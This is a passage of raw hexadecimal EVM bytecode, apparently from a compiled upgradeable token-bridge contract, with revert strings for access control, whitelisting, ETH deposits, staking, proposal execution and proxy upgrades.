604090819020549051632e31150760e11b815260048101919091527f25f8daaa4635a7729927ba3f5b3d59cc3320aca7c32c9db4e7ca7b95743436409189918991600160401b90046001600160a01b031690635c622a0e9060240160206040518083038186803b15801561134b57600080fd5b505afa15801561135f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113839190614cfc565b87604051611394949392919061568c565b60405180910390a16002610163546000838152610166602052604090819020549051632e31150760e11b81526004810191909152600160401b9091046001600160a01b031690635c622a0e9060240160206040518083038186803b1580156113fb57600080fd5b505afa15801561140f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114339190614cfc565b600481111561145257634e487b7160e01b600052602160045260246000fd5b141561152c57610163546000828152610166602052604090819020549051632e31150760e11b815260048101919091527f968626a768e76ba1363efe44e322a6c4900c5f084e0b45f35e294dfddaa9e0d59189918991600160401b90046001600160a01b031690635c622a0e9060240160206040518083038186803b1580156114da57600080fd5b505afa1580156114ee573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115129190614cfc565b87604051611523949392919061568c565b60405180910390a15b505b505050505050565b600261012d5414156115785760405162461bcd60e51b815260206004820152601f602482015260008051602061586c8339815191526044820152606401610c09565b600261012d557fbf233dd2aafeb4d50879c4aa5c81e96d92f6e6945c906a58f9f2d1c1631b4b266115a98133610be1565b6040516372aee27360e11b81526001600160a01b03858116600483015284811660248301526044820184905286919082169063e55dc4e6906064015b600060405180830381600087803b1580156115ff57600080fd5b505af1158015611613573d6000803e3d6000fd5b5050604080516001600160a01b038a8116825289811660208301528816818301526060810187905290517f7d3706b5a5b55581dd829778c6dc22a79c5e0909849ef3174c169b718978d8aa9350908190036080019150a15050600161012d5550505050565b600261012d5414156116ba5760405162461bcd60e51b815260206004820152601f602482015260008051602061586c8339815191526044820152606401610c09565b600261012d556000828152609760205260409020600101546116dc8133610be1565b6116e6838361393b565b60008051602061588c833981519152831480156117865750610163546040516370a0823160e01b81526001600160a01b038481166004830152600160401b909204909116906370a082319060240160206040518083038186803b15801561174c57600080fd5b505afa158015611760573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117849190614e24565b155b1561184557610163546040516335313c2160e11b81526001600160a01b038481166004830152600160401b90920490911690636a62784290602401600060405180830381600087803b1580156117db57600080fd5b505af11580156117ef573d6000803e3d6000fd5b50505050610162546001611803919061573c565b610162556040516001600160a01b03831681527f03580ee9f53a62b7cb409a2cb56f9be87747dd15017afc5cef6eef321e4fb2c5906020015b60405180910390a15b5050600161012d5550565b6001600160a01b03811633146118c05760405162461bcd60e51b815260206004820152602f60248201527f416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e636560448201526e103937b632b9903337b91039b2b63360891b6064820152608401610c09565b6118ca8282613966565b5050565b306001600160a01b037f000000000000000000000000953b335124fc4dc81916d3423c0130daefad610816141561195c5760405162461bcd60e51b815260206004820152602c60248201527f46756e6374696f6e206d7573742062652063616c6c6564207468726f7567682060448201526b19195b1959d85d1958d85b1b60a21b6064820152608401610c09565b7f000000000000000000000000953b335124fc4dc81916d3423c0130daefad61086001600160a01b03166119a56000805160206158ac833981519152546001600160a01b031690565b6001600160a01b031614611a105760405162461bcd60e51b815260206004820152602c60248201527f46756e6374696f6e206d7573742062652063616c6c6564207468726f7567682060448201526b6163746976652070726f787960a01b6064820152608401610c09565b611a19816139e9565b60408051600080825260208201909252611a35918391906139f5565b50565b600261012d541415611a7a5760405162461bcd60e51b815260206004820152601f602482015260008051602061586c8339815191526044820152606401610c09565b600261012d5560335460ff1615611aa35760405162461bcd60e51b8152600401610c099061559e565b600082905060008390506000816001600160a01b031663e0af36166040518163ffffffff1660e01b815260040160206040518083038186803b158015611ae857600080fd5b505afa158015611afc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b20919061487e565b604051631a7f5a4160e31b81523360048201526001600160a01b038083166024830152604482018790529192509084169063d3fad20890606401600060405180830381600087803b158015611b7457600080fd5b505af1158015611b88573d6000803e3d6000fd5b5050604080518781526001600160a01b03851660208201523393507f379bc14156b62673a2efd113a5b989c8240c2018bf1fa01ee2d3d5915f769d4b9250015b60405180910390a25050600161012d55505050565b600080848484604051602001611bf593929190615479565b60408051808303601f1901815282825280516020918201206000818152610166909252919020546101635463030b0f8d60e01b84526004840182905233602485015291935091600160401b9091046001600160a01b03169063030b0f8d9060440160206040518083038186803b158015611c6e57600080fd5b505afa158015611c82573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ca69190614bca565b925050505b9392505050565b7f65d7a28e3265b37a6474929f336521b332c1681b933f6cb9f3376673440d862a611cdd8133610be1565b60335460ff16611d265760405162461bcd60e51b815260206004820152601460248201527314185d5cd8589b194e881b9bdd081c185d5cd95960621b6044820152606401610c09565b611a35613b52565b600261012d541415611d705760405162461bcd60e51b815260206004820152601f602482015260008051602061586c8339815191526044820152606401610c09565b600261012d5560335460ff1615611d995760405162461bcd60e51b8152600401610c099061559e565b6101615460ff1615611e0557336000908152610167602052604090205460ff16611e055760405162461bcd60e51b815260206004820152601a60248201527f61646472657373206973206e6f742077686974656c69737465640000000000006044820152606401610c09565b611e158888888888888888613be5565b5050600161012d55505050505050565b306001600160a01b037f000000000000000000000000953b335124fc4dc81916d3423c0130daefad6108161415611eb35760405162461bcd60e51b815260206004820152602c60248201527f46756e6374696f6e206d7573742062652063616c6c6564207468726f7567682060448201526b19195b1959d85d1958d85b1b60a21b6064820152608401610c09565b7f000000000000000000000000953b335124fc4dc81916d3423c0130daefad61086001600160a01b0316611efc6000805160206158ac833981519152546001600160a01b031690565b6001600160a01b031614611f675760405162461bcd60e51b815260206004820152602c60248201527f46756e6374696f6e206d7573742062652063616c6c6564207468726f7567682060448201526b6163746976652070726f787960a01b6064820152608401610c09565b611f70826139e9565b6118ca828260016139f5565b6000611f888133610be1565b6040516325a0141360e21b815284906001600160a01b03821690639680504c90611fbe908b908b908b908a908a9060040161554e565b600060405180830381600087803b158015611fd857600080fd5b505af1158015611fec573d6000803e3d6000fd5b505050505050505050505050565b7f8b9e7a9f25b0aca3f51c01b8fee30790fb16f4d4deded8385ae6643d054bb0786120258133610be1565b600086815261016560205260409081902080546001600160a01b0319166001600160a01b038a8116918217909255915163de319d9960e01b81526004810189905290871660248201526001600160e01b03198087166044830152606482018690528416608482015288919063de319d999060a401611fbe565b60006120aa8133610be1565b610161805460ff19168315159081179091556040519081527f78e648f9aa0bf2a4400dc354b571bbbf0d423305d9b78e94a9014ab03ff8bb7b906020015b60405180910390a15050565b7f8b9e7a9f25b0aca3f51c01b8fee30790fb16f4d4deded8385ae6643d054bb07861211f8133610be1565b60405163359d860160e01b81526001600160a01b03858116600483015260ff80861660248401528416604483015286919082169063359d8601906064015b600060405180830381600087803b15801561217757600080fd5b505af115801561218b573d6000803e3d6000fd5b50505050505050505050565b60335460ff16156121ba5760405162461bcd60e51b8152600401610c099061559e565b6040516330414fc560e11b81523360048201526001600160a01b038381166024830152604482018390528491908216906360829f8a90606401600060405180830381600087803b15801561220d57600080fd5b505af1158015612221573d6000803e3d6000fd5b5050604080518581526001600160a01b03871660208201523393507f379bc14156b62673a2efd113a5b989c8240c2018bf1fa01ee2d3d5915f769d4b9250015b60405180910390a250505050565b7fe6ad9a47fbda1dc18de1eb5eeb7d935e5e81b4748f3cfc61e233e64f8818206061229a8133610be1565b6000878152610165602090815260409182902054825163d755c34960e01b815292516001600160a01b03909116928392839263d755c349926004808201939291829003018186803b1580156122ee57600080fd5b505afa158015612302573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123269190614bca565b6123675760405162461bcd60e51b8152602060048201526012602482015271199959481a5cc81b9bdd08195b98589b195960721b6044820152606401610c09565b604051631487001b60e01b815260ff891660048201526001600160a01b03888116602483015260448201889052606482018790528515156084830152821690631487001b9060a401600060405180830381600087803b1580156123c957600080fd5b505af11580156123dd573d6000803e3d6000fd5b50505050505050505050505050565b600261012d54141561242e5760405162461bcd60e51b815260206004820152601f602482015260008051602061586c8339815191526044820152606401610c09565b600261012d557fbf233dd2aafeb4d50879c4aa5c81e96d92f6e6945c906a58f9f2d1c1631b4b2661245f8133610be1565b604051636ce5768960e11b81526001600160a01b03858116600483015284811660248301526044820184905286919082169063d9caed12906064016115e5565b60006124ab8133610be1565b610160829055610163546040516001600160401b0390911681527fa2b67627a88e010182419ae858fcf3ca4374ad08cbbd6fe10bebcf8b26d3b5fe906020016120e8565b7f65d7a28e3265b37a6474929f336521b332c1681b933f6cb9f3376673440d862a61251a8133610be1565b60335460ff161561253d5760405162461bcd60e51b8152600401610c099061559e565b611a35613d88565b60006125518133610be1565b604051631764b06b60e21b81526001600160a01b0384811660048301528315156024830152859190821690635d92c1ac906044015b600060405180830381600087803b1580156125a057600080fd5b505af11580156125b4573d6000803e3d6000fd5b505050505050505050565b60006125cb8133610be1565b6101615460ff166126365760405162461bcd60e51b815260206004820152602f60248201527f4272696467655570677261646561626c653a205768697465206c697374696e6760448201526e081a5cc81b9bdd08195b98589b1959608a1b6064820152608401610c09565b6001600160a01b03821660008181526101676020908152604091829020805460ff1916905590519182527f441e43beaf2db8af6e1f9f7a6b9f0dcc36fcf83a2904264c9ab624068242efff91016120e8565b60006126948133610be1565b60405163e7c308fd60e01b81526001600160a01b03838116600483015284919082169063e7c308fd90602401600060405180830381600087803b1580156126da57600080fd5b505af11580156126ee573d6000803e3d6000fd5b5050505050505050565b600261012d54141561273a5760405162461bcd60e51b815260206004820152601f602482015260008051602061586c8339815191526044820152606401610c09565b600261012d5560335460ff16156127635760405162461bcd60e51b8152600401610c099061559e565b600081905060008290506000816001600160a01b031663e0af36166040518163ffffffff1660e01b815260040160206040518083038186803b1580156127a857600080fd5b505afa1580156127bc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906127e0919061487e565b9050348061283c5760405162461bcd60e51b815260206004820152602360248201527f7374616b654554483a20696e73756666696369656e74206574682070726f766960448201526219195960ea1b6064820152608401610c09565b816001600160a01b031663d0e30db0826040518263ffffffff1660e01b81526004016000604051808303818588803b15801561287757600080fd5b505af115801561288b573d6000803e3d6000fd5b505060405163a9059cbb60e01b81526001600160a01b038981166004830152602482018690528616935063a9059cbb92506044019050602060405180830381600087803b1580156128db57600080fd5b505af11580156128ef573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906129139190614bca565b61292d57634e487b7160e01b600052600160045260246000fd5b60405163f4e480e160e01b81523360048201526001600160a01b0383811660248301526044820183905285169063f4e480e190606401600060405180830381600087803b15801561297d57600080fd5b505af1158015612991573d6000803e3d6000fd5b5050604080518481526001600160a01b03861660208201523393507fcc2e01638b08266366840f4a2ac8755c01e6932f730d5b707835cf4e23a15245925001611bc8565b60006129e18133610be1565b610163805467ffffffffffffffff19166001600160401b038481169190911791829055604051911681527f99c317e8206747b01304c113e5c93aee8a0d136eca391733b384fc0f878f6e06906020016120e8565b6040805160c081018252600080825260208201819052918101829052606081018290526080810182905260a08101919091526000848484604051602001612a7e93929190615479565b60408051808303601f19018152828252805160209182012061016354600082815261016690935292909120546307336bcb60e21b845260048401529250600160401b90046001600160a01b031690631ccdaf2c9060240160c06040518083038186803b158015612aed57600080fd5b505afa158015612b01573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612b259190614db3565b95945050505050565b60335460ff1615612b515760405162461bcd60e51b8152600401610c099061559e565b60405163bf6eac2f60e01b81523360048201526001600160a01b0383811660248301526044820183905284919082169063bf6eac2f90606401600060405180830381600087803b158015612ba457600080fd5b505af1158015612bb8573d6000803e3d6000fd5b5050604080518581526001600160a01b03871660208201523393507fcc2e01638b08266366840f4a2ac8755c01e6932f730d5b707835cf4e23a15245925001612261565b6000612c088133610be1565b604051633ffda2fd60e11b81526001600160a01b03858116600483015284811660248301528381166044830152869190821690637ffb45fa9060640161215d565b600080848484604051602001612c6193929190615479565b60408051808303601f19018152919052805160209091012095945050505050565b7f8b9e7a9f25b0aca3f51c01b8fee30790fb16f4d4deded8385ae6643d054bb078612cad8133610be1565b600083815261016560205260409081902080546001600160a01b0319166001600160a01b038781169182179092559151635c7d1b9b60e11b815260048101869052908416602482015285919063b8fa373690604401612586565b60008051602061588c833981519152612d208133610be1565b60335460ff1615612d435760405162461bcd60e51b8152600401610c099061559e565b600080612d508989613de0565b61024081018790526102608101869052610280810185905260ff8c166040808301919091526001600160401b038c1660208084019190915260008a8152610165825282812054925193945092612db4926001600160a01b0316918d918d91016153bc565b60405160208183030381529060405280519060200120905060008c8c83604051602001612de393929190615479565b60408051808303601f19018152828252805160209182012061016354600082815261016690935292822054632e31150760e11b85526004850152935091600160401b9091046001600160a01b031690635c622a0e9060240160206040518083038186803b158015612e5357600080fd5b505afa158015612e67573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612e8b9190614cfc565b90506002816004811115612eaf57634e487b7160e01b600052602160045260246000fd5b14612efc5760405162461bcd60e51b815260206004820181905260248201527f50726f706f73616c206d757374206861766520506173736564207374617475736044820152606401610c09565b610163546000838152610166602052604090819020549051630d61b51960e01b81526004810191909152600160401b9091046001600160a01b031690630d61b51990602401602060405180830381600087803b158015612f5b57600080fd5b505af1158015612f6f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612f939190614bca565b5060008a815261016560205260409081902054905163078d92eb60e41b81526001600160a01b039091169081906378d92eb090612fd69088908f90600401615613565b6040805180830381600087803b158015612fef57600080fd5b505af1158015613003573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906130279190614b81565b866060018181525081975050508d6001600160401b03168f60ff167ff3eebc917bbcdbb3122520c3cdb2a3e3955672aeb3612717f0c7b2872ed296e7888860600151600360405161307a939291906154d4565b60405180910390a37f968626a768e76ba1363efe44e322a6c4900c5f084e0b45f35e294dfddaa9e0d58f8f6003876040516130b8949392919061568c565b60405180910390a1505050505050505050505050505050565b600261012d5414156131135760405162461bcd60e51b815260206004820152601f602482015260008051602061586c8339815191526044820152606401610c09565b600261012d556000828152609760205260409020600101546131358133610be1565b61313f8383614061565b60008051602061588c833981519152831480156131e85750610163546040516370a0823160e01b81526001600160a01b038481166004830152600160401b909204909116906370a082319060240160206040518083038186803b1580156131a557600080fd5b505afa1580156131b9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906131dd9190614e24565b670de0b6b3a7640000145b15611845576101635460405163226bf2d160e21b81526001600160a01b038481166004830152600160401b909204909116906389afcb4490602401600060405180830381600087803b15801561323d57600080fd5b505af1158015613251573d6000803e3d6000fd5b505050506001610162546132659190615773565b610162556040516001600160a01b03831681527f10e1f7ce9fd7d1b90a66d13a2ab3cb8dd7f29f3f8d520b143b063ccfbab6906b9060200161183c565b600261012d5414156132e45760405162461bcd60e51b815260206004820152601f602482015260008051602061586c8339815191526044820152606401610c09565b600261012d5560335460ff161561330d5760405162461bcd60e51b8152600401610c099061559e565b6101615460ff161561337957336000908152610167602052604090205460ff166133795760405162461bcd60e51b815260206004820152601a60248201527f61646472657373206973206e6f742077686974656c69737465640000000000006044820152606401610c09565b600087815261016560205260409020546001600160a01b0316806133df5760405162461bcd60e51b815260206004820181905260248201527f7265736f757263654944206e6f74206d617070656420746f2068616e646c65726044820152606401610c09565b600034116134405760405162461bcd60e51b815260206004820152602860248201527f6465706f7369744554483a204e6f206e617469766520617373657473207472616044820152671b9cd9995c9c995960c21b6064820152608401610c09565b6000816001600160a01b031663e0af36166040518163ffffffff1660e01b815260040160206040518083038186803b15801561347b57600080fd5b505afa15801561348f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906134b3919061487e565b9050806001600160a01b031663d0e30db0346040518263ffffffff1660e01b81526004016000604051808303818588803b1580156134f057600080fd5b505af1158015613504573d6000803e3d6000fd5b505060405163a9059cbb60e01b81523360048201523460248201526001600160a01b038516935063a9059cbb92506044019050602060405180830381600087803b15801561355157600080fd5b505af1158015613565573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906135899190614bca565b61359257600080fd5b6135a28a8a8a8a8a8a8a8a613be5565b5050600161012d555050505050505050565b60006135c08133610be1565b6101615460ff1661362b5760405162461bcd60e51b815260206004820152602f60248201527f4272696467655570677261646561626c653a205768697465206c697374696e6760448201526e081a5cc81b9bdd08195b98589b1959608a1b6064820152608401610c09565b6001600160a01b03821660008181526101676020908152604091829020805460ff1916600117905590519182527f2373c347d35d91064d64b63157cb8aee2bd652a41983ca2e8a3e7348bfeff92f91016120e8565b60008381526101656020526040808220549051639e601b3160e01b815260ff851660048201526001600160a01b0384811660248301528392169081908190639e601b3190604401604080518083038186803b1580156136de57600080fd5b505afa1580156136f2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906137169190614e3c565b935093505050935093915050565b60006137308133610be1565b6000838152610165602052604090819020549051636be1dc2b60e01b815283151560048201526001600160a01b039091169081908190636be1dc2b90602401612586565b600054610100900460ff1661378f5760005460ff1615613793565b303b155b6137f65760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b6064820152608401610c09565b600054610100900460ff16158015613821576000805460ff1961ff0019909116610100171660011790555b613829614087565b6138316140c8565b61383c6000336140ff565b610163805461015f805460ff191660ff89161790557fffffffff0000000000000000000000000000000000000000ffffffffffffffff16600160401b6001600160a01b038516021767ffffffffffffffff19166001600160401b03861617905561016083905580156138b4576000805461ff00191690555b5050505050565b60008281526097602090815260408083206001600160a01b038516845290915290205460ff166118ca576138f9816001600160a01b03166014614109565b613904836020614109565b604051602001613915929190615404565b60408051601f198184030181529082905262461bcd60e51b8252610c099160040161553b565b6000828152609760205260409020600101546139578133610be1565b61396183836142ea565b505050565b60008281526097602090815260408083206001600160a01b038516845290915290205460ff16156118ca5760008281526097602090815260408083206001600160a01b0385168085529252808320805460ff1916905551339285917ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b9190a45050565b60006118ca8133610be1565b6000613a166000805160206158ac833981519152546001600160a01b031690565b9050613a218461438c565b600083511180613a2e5750815b15613a3f57613a3d848461441f565b505b7f4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143805460ff166138b457805460ff191660011781556040516001600160a01b0383166024820152613abe90869060440160408051601f198184030181529190526020810180516001600160e01b0316631b2ce7f360e11b17905261441f565b50805460ff191681556000805160206158ac833981519152546001600160a01b03838116911614613b495760405162461bcd60e51b815260206004820152602f60248201527f45524331393637557067726164653a207570677261646520627265616b73206660448201526e75727468657220757067726164657360881b6064820152608401610c09565b6138b485614501565b60335460ff16613b9b5760405162461bcd60e51b815260206004820152601460248201527314185d5cd8589b194e881b9bdd081c185d5cd95960621b6044820152606401610c09565b6033805460ff191690557f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa335b6040516001600160a01b03909116815260200160405180910390a1565b6000613bf18787613de0565b336102a08201526102408101869052610260810185905261028081018490526001600160a01b03838116825260008a815261016560205260409020541660c08201819052909150613c845760405162461bcd60e51b815260206004820181905260248201527f7265736f757263654944206e6f74206d617070656420746f2068616e646c65726044820152606401610c09565b60ff89166000908152610164602052604081208054909190613cae906001600160401b03166157d1565b82546001600160401b039182166101009390930a83810292021916179091556020820181905260c0820151604051636ac6376b60e01b815290916001600160a01b03831691636ac6376b91613d0b918d918f918890600401615500565b600060405180830381600087803b158015613d2557600080fd5b505af1158015613d39573d6000803e3d6000fd5b5050505081602001516001600160401b0316898b60ff167fdbb69440df8433824a026ef190652f29929eb64b4d1d5d2a69be8afe3e6eaed860405160405180910390a450505050505050505050565b60335460ff1615613dab5760405162461bcd60e51b8152600401610c099061559e565b6033805460ff191660011790557f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a258613bc83390565b613de86145d4565b613df06145d4565b6000613dfe84860186614e5f565b6101a08a015261018089015261016088015261014087019190915261012086019190915261010085019190915260e084019190915290508015613e42576001613e45565b60005b15156102c08301526101006040830181905261016083015160009187918790613e6e908361573c565b92613e7b93929190615714565b8080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152505050506101608401516040850151919250613ec69161573c565b6040840181905261018084015160009188918890613ee4908361573c565b92613ef193929190615714565b8080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152505050506101808501516040860151919250613f3c9161573c565b604085018190526101a085015160009189918990613f5a908361573c565b92613f6793929190615714565b8080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152505050506101a08601516040870151919250613fb29161573c565b604086018190526101a08601516000918a918a90613fd0908361573c565b92613fdd93929190615714565b8080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250505050602093840151928401519084015194909301516bffffffffffffffffffffffff199283166101c0880152606093841c61022088015291909316610200860152901c60808401525090949350505050565b60008281526097602052604090206001015461407d8133610be1565b6139618383613966565b600054610100900460ff166140ae5760405162461bcd60e51b8152600401610c09906155c8565b6140b6614541565b6140be614541565b6140c6614541565b565b600054610100900460ff166140ef5760405162461bcd60e51b8152600401610c09906155c8565b6140f7614541565b6140c6614568565b6118ca82826142ea565b60606000614118836002615754565b61412390600261573c565b6001600160401b0381111561414857634e487b7160e01b600052604160045260246000fd5b6040519080825280601f01601f191660200182016040528015614172576020820181803683370190505b509050600360fc1b8160008151811061419b57634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a905350600f60fb1b816001815181106141d857634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a90535060006141fc846002615754565b61420790600161573c565b90505b600181111561429b576f181899199a1a9b1b9c1cb0b131b232b360811b85600f166010811061424957634e487b7160e01b600052603260045260246000fd5b1a60f81b82828151811061426d57634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a90535060049490941c93614294816157ba565b905061420a565b508315611cab5760405162461bcd60e51b815260206004820181905260248201527f537472696e67733a20686578206c656e67746820696e73756666696369656e746044820152606401610c09565b60008281526097602090815260408083206001600160a01b038516845290915290205460ff166118ca5760008281526097602090815260408083206001600160a01b03851684529091529020805460ff191660011790556143483390565b6001600160a01b0316816001600160a01b0316837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45050565b803b6143f05760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b6064820152608401610c09565b6000805160206158ac83398151915280546001600160a01b0319166001600160a01b0392909216919091179055565b6060823b61447e5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b6064820152608401610c09565b600080846001600160a01b03168460405161449991906153e8565b600060405180830381855af49150503d80600081146144d4576040519150601f19603f3d011682016040523d82523d6000602084013e6144d9565b606091505b5091509150612b2582826040518060600160405280602781526020016158cc6027913961459b565b61450a8161438c565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b600054610100900460ff166140c65760405162461bcd60e51b8152600401610c09906155c8565b600054610100900460ff1661458f5760405162461bcd60e51b8152600401610c09906155c8565b6033805460ff19169055565b606083156145aa575081611cab565b8251156145ba5782518084602001fd5b8160405162461bcd60e51b8152600401610c09919061553b565b604080516102e08101825260008082526020820181905291810182905260608082018390526080820183905260a0820183905260c0820183905260e08201839052610100820183905261012082018390526101408201839052610160820183905261018082018390526101a082018390526101c082018390526101e0820183905261020082018390526102208201839052610240820181905261026082018190526102808201526102a081018290526102c081019190915290565b60006001600160401b038311156146a8576146a861580e565b6146bb601f8401601f19166020016156c1565b90508281528383830111156146cf57600080fd5b828260208301376000602084830101529392505050565b8035610bd481615824565b600082601f830112614701578081fd5b81356020614716614711836156f1565b6156c1565b8281528181019085830183850287018401881015614732578586fd5b855b8581101561475957813561474781615824565b84529284019290840190600101614734565b5090979650505050505050565b600082601f830112614776578081fd5b81356020614786614711836156f1565b82815281810190858301838502870184018810156147a2578586fd5b855b85811015614759578135845292840192908401906001016147a4565b80356001600160e01b031981168114610bd457600080fd5b60008083601f8401126147e9578182fd5b5081356001600160401b038111156147ff578182fd5b60208301915083602082850101111561481757600080fd5b9250929050565b805160058110610bd457600080fd5b600082601f83011261483d578081fd5b611cab8383356020850161468f565b8035610bd481615847565b8035610bd48161585c565b600060208284031215614873578081fd5b8135611cab81615824565b60006020828403121561488f578081fd5b8151611cab81615824565b600080604083850312156148ac578081fd5b82356148b781615824565b915060208301356148c781615824565b809150509250929050565b600080600080608085870312156148e7578182fd5b84356148f281615824565b9350602085013561490281615824565b9250604085013561491281615824565b9150606085013561492281615824565b939692955090935050565b60008060008060808587031215614942578182fd5b843561494d81615824565b9350602085013561495d81615824565b9250604085013561496d81615824565b9396929550929360600135925050565b600080600060608486031215614991578081fd5b833561499c81615824565b925060208401356149ac81615824565b915060408401356149bc81615839565b809150509250925092565b6000806000606084860312156149db578081fd5b83356149e681615824565b925060208401356149f681615824565b929592945050506040919091013590565b60008060008060808587031215614a1c578182fd5b8435614a2781615824565b93506020850135614a3781615824565b92506040850135614a478161585c565b915060608501356149228161585c565b600080600060608486031215614a6b578081fd5b8335614a7681615824565b92506020840135915060408401356149bc81615824565b60008060008060008060c08789031215614aa5578384fd5b8635614ab081615824565b9550602087013594506040870135614ac781615824565b9350614ad5606088016147c0565b925060808701359150614aea60a088016147c0565b90509295509295509295565b60008060408385031215614b08578182fd5b8235614b1381615824565b915060208301356001600160401b03811115614b2d578182fd5b8301601f81018513614b3d578182fd5b614b4c8582356020840161468f565b9150509250929050565b60008060408385031215614b68578182fd5b8235614b7381615824565b946020939093013593505050565b60008060408385031215614b93578182fd5b8251614b9e81615824565b6020939093015192949293505050565b600060208284031215614bbf578081fd5b8135611cab81615839565b600060208284031215614bdb578081fd5b8151611cab81615839565b600060208284031215614bf7578081fd5b5035919050565b60008060408385031215614c10578182fd5b8235915060208301356148c781615824565b60008060408385031215614c34578182fd5b8235915060208301356148c781615839565b600080600060608486031215614c5a578081fd5b833592506020840135614c6c8161585c565b915060408401356149bc81615824565b60008060008060008060c08789031215614c94578384fd5b863595506020870135614ca68161585c565b94506040870135614cb681615824565b9350606087013592506080870135915060a0870135614cd481615839565b809150509295509295509295565b600060208284031215614cf3578081fd5b611cab826147c0565b600060208284031215614d0d578081fd5b611cab8261481e565b60008060008060008060c08789031215614d2e578384fd5b86356001600160401b0380821115614d44578586fd5b614d508a838b0161482d565b97506020890135915080821115614d65578586fd5b50614d7289828a0161482d565b9550506040870135614d838161585c565b93506060870135614d9381615824565b92506080870135614da381615824565b915060a0870135614cd481615824565b600060c08284031215614dc4578081fd5b614dce60c06156c1565b614dd78361481e565b815260208301516020820152604083015160408201526060830151614dfb81615847565b60608201526080838101519082015260a0830151614e188161585c565b60a08201529392505050565b600060208284031215614e35578081fd5b5051919050565b60008060408385031215614e4e578182fd5b505080516020909101519092909150565b600080600080600080600080610100898b031215614e7b578586fd5b505086359860208801359850604088013597606081013597506080810135965060a0810135955060c0810135945060e0013592509050565b600060208284031215614ec4578081fd5b8135611cab8161585c565b60008060008060008060008060e0898b031215614eea578182fd5b614ef389614857565b97506020890135965060408901356001600160401b0380821115614f15578384fd5b614f218c838d016147d8565b909850965060608b0135915080821115614f39578384fd5b614f458c838d01614766565b955060808b0135915080821115614f5a578384fd5b614f668c838d01614766565b945060a08b0135915080821115614f7b578384fd5b50614f888b828c016146f1565b925050614f9760c08a016146e6565b90509295985092959890939650565b60008060008060808587031215614fbb578182fd5b8435614fc68161585c565b93506020850135925060408501359150606085013561492281615824565b600080600060608486031215614ff8578081fd5b83356150038161585c565b925060208401356149f681615847565b60008060008060808587031215615028578182fd5b84356150338161585c565b9350602085013561504381615847565b93969395505050506040820135916060013590565b60008060008060008060008060e0898b031215615073578182fd5b61507c89614857565b975061508a60208a0161484c565b965060408901356001600160401b03808211156150a5578384fd5b6150b18c838d016147d8565b909850965060608b0135955060808b01359150808211156150d0578384fd5b6150dc8c838d01614766565b945060a08b01359150808211156150f1578384fd5b6150fd8c838d01614766565b935060c08b0135915080821115615112578283fd5b5061511f8b828c016146f1565b9150509295985092959890939650565b6000815180845260208085019450808401835b838110156151675781516001600160a01b031687529582019590820190600101615142565b509495945050505050565b6000815180845260208085019450808401835b8381101561516757815187529582019590820190600101615185565b600581106151bf57634e487b7160e01b600052602160045260246000fd5b9052565b600081518084526151db81602086016020860161578a565b601f01601f19169290920160200192915050565b80516001600160a01b0316825260006102e0602083015161521b60208601826001600160401b03169052565b506040830151604085015260608301516060850152608083015161524a60808601826001600160a01b03169052565b5060a083015161526560a08601826001600160a01b03169052565b5060c083015161528060c08601826001600160a01b03169052565b5060e08381015190850152610100808401519085015261012080840151908501526101408084015190850152610160808401519085015261018080840151908501526101a080840151908501526101c0808401516bffffffffffffffffffffffff1981168287015250506101e0838101516001600160a01b038116868301525050610200838101516bffffffffffffffffffffffff198116868301525050610220838101516001600160a01b03811686830152505061024080840151828287015261534d83870182615172565b9250505061026080840151858303828701526153698382615172565b925050506102808084015185830382870152615385838261512f565b925050506102a0808401516153a4828701826001600160a01b03169052565b50506102c09283015115159390920192909252919050565b60006bffffffffffffffffffffffff198560601b16825282846014840137910160140190815292915050565b600082516153fa81846020870161578a565b9190910192915050565b60007f416363657373436f6e74726f6c3a206163636f756e74200000000000000000008252835161543c81601785016020880161578a565b7001034b99036b4b9b9b4b733903937b6329607d1b601791840191820152835161546d81602884016020880161578a565b01602801949350505050565b60f89390931b7fff0000000000000000000000000000000000000000000000000000000000000016835260c09190911b77ffffffffffffffffffffffffffffffffffffffffffffffff19166001830152600982015260290190565b6001600160a01b038416815260208101839052606081016154f860408301846151a1565b949350505050565b600085825260ff851660208301526001600160401b03841660408